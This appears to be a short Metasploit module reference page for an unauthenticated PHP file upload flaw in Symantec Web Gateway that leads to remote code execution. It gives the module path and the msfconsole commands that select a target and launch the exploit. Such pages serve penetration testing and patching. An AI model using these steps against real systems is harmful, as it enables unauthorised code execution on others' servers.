This module exploits a file upload vulnerability found in Symantec Web Gateway's HTTP service. Due to the incorrect use of file extensions in the upload_file() function, attackers may to abuse the spywall/blocked_file.php file in order to upload a malicious PHP file without any authentication, which results in arbitrary code execution.
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To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/linux/http/symantec_web_gateway_file_upload
msf exploit(symantec_web_gateway_file_upload) > show targets
...targets...
msf exploit(symantec_web_gateway_file_upload) > set TARGET < target-id >
msf exploit(symantec_web_gateway_file_upload) > show options
...show and set options...
msf exploit(symantec_web_gateway_file_upload) > exploit
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